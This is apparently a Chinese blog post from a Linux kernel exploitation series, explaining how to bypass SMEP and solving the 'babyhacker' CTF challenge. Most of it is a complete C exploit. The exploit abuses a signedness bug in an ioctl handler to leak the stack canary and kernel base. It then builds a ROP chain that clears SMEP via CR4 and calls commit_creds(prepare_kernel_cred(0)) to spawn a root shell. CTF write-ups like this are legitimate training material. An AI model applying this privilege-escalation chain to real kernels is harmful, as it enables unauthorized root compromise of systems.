Linux Kernel Pwn (四)

April 4, 2020 PWN 访问: 73 次

Bypass SMEP

SEMP介绍

为了防止 ret2usr 攻击,内核开发者提出了 smep 保护,smep 全称 Supervisor Mode Execution Protection,是内核的一种保护措施,作用是当 CPU处于 ring0 模式时,执行用户空间的代码会触发页错误;

绕过方式

控制kernel流程执行即可关闭该保护,进而在进行ret2usr 攻击即可

pop rdi;
0x6f0
mov cr4, rdi ; pop rbp ; ret

新春战“疫”-babyhacker

这道题难是不难,但是我调试也是调试了一天,写的脚本是没问题的,但是有时候可以打通,有时候打不通,很无解!

bug在ioctl函数中,赋值buffersize出现类型转换错误,可导致栈溢出,栈泄露

__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rbp
  file *rdx1; // rdx
  signed __int16 v5; // di
  int v4[80]; // [rsp+0h] [rbp-150h]
  unsigned __int64 v8; // [rsp+140h] [rbp-10h]
  __int64 v9; // [rsp+148h] [rbp-8h]

  _fentry__(file, cmd, arg);
  v9 = v3;
  v5 = (signed __int16)rdx1;
  v8 = __readgsqword(0x28u);
  switch ( cmd )
  {
    case 0x30001u:
      babyhacker_ioctl_0(rdx1, 0x30001u, (unsigned __int64)rdx1);
      break;
    case 0x30002u:
      copy_to_user(rdx1, v4, buffersize);
      break;
    case 0x30000u:
      if ( (signed int)rdx1 >= 11 )
        v5 = 10;
      buffersize = v5;
      break;
  }
  return 0LL;
}

攻击思路:
- 修改buffersize为负数
- 泄露canary以及基地址
- 进行rop

poc:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h> 


size_t commit_creds_addr ,prepare_kernel_cred_addr;
void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rbx, prepare_kernel_cred_addr;"
        "call rbx;"
        "mov rdi, rax;"
        "mov rbx, commit_creds_addr;"
        "call rbx;"
    );
}

size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}



void get_shell()
{
    if(!getuid())
    {
        system("echo root:");
        system("/bin/sh");
    }else{
        system("echo fail");
    }
}

int main()
{
    save_status();
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    int i,file = open("/dev/babyhacker",O_RDONLY);
    if(file < 0){
        puts("fd error");
        exit(0);
    }
    /*modify buffersize*/
    printf("modify buffersize!\n");
    ioctl(file,0x30000,-1);
    size_t stack_data[0x1000]={0},canary;
    ioctl(file,0x30002,stack_data);
    for(i=0;i<0x30;i++)
    {
        printf("idx-%d : %p\n",i,stack_data[i]);
    }
    canary = stack_data[8];
    printf("\033[47;31m canary : %p\033[0m\n",canary);
    size_t offset,vmlinux_addr;
    offset = stack_data[42]-0xffffffff81219218;

    printf("\033[47;31m %s : %p\n\033[0m\n","offset",offset);


    commit_creds_addr = offset+0xffffffff810a1430;
    prepare_kernel_cred_addr = 0xffffffff810a1820+offset;
    printf("\033[47;31m %s : %p\n\033[0m\n","commit_creds_addr",commit_creds_addr);
    printf("\033[47;31m %s : %p\n\033[0m\n","prepare_kernel_cred_addr",prepare_kernel_cred_addr);
    size_t pop_rdx,pop_rdi,code_1,code_2,code_3,code_4,code_5;
    pop_rdx = 0xffffffff81083f22+offset; //pop rdx ; ret
    pop_rdi = 0xffffffff8109054d+offset;//pop rdi ; ret
    code_1 = 0xffffffff81004d70+offset;//mov cr4, rdi ; pop rbp ; ret
    code_2 = 0xffffffff810636b4+offset; // swapgs ; pop rbp ; ret
    code_3 = 0xffffffff8168b278+offset; // iretq;pop rbp ;ret
    code_4 = 0xffffffff810def79+offset ;// mov rdi, rax ; call rdx
    code_5 = 0xffffffff81006ffc+offset ;//pop rcx ; ret
    printf("\033[47;31m %s : %p\n\033[0m\n","pop_rdx",pop_rdx);
    size_t payload[0x100]={0};

    /* ROP chain
    i=40;
    payload[i++] = canary;
    payload[i++] = 0;
    payload[i++] = pop_rdi;
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred_addr;
    payload[i++] = pop_rdx;
    payload[i++] = code_5;
    payload[i++] = code_4;
    payload[i++] = commit_creds_addr;
    payload[i++] = code_2;
    payload[i++] = 0;
    payload[i++] = code_3;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;
    */

    /* ret2usr*/
    i=40;
    payload[i++] = canary;
    payload[i++] = 0;
    payload[i++] = pop_rdi;
    payload[i++] = 0x6f0;
    payload[i++] = code_1;
    payload[i++] = 0;//rbp
    payload[i++] = (size_t)get_root;
    payload[i++] = code_2;
    payload[i++] = 0;
    payload[i++] = code_3;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;

    ioctl(file, 0x30001, payload);

    //cat /proc/kallsyms | grep 'commit_creds'
    //cat /proc/kallsyms | grep 'prepare_kernel_cred'
    return 0;
}

添加新评论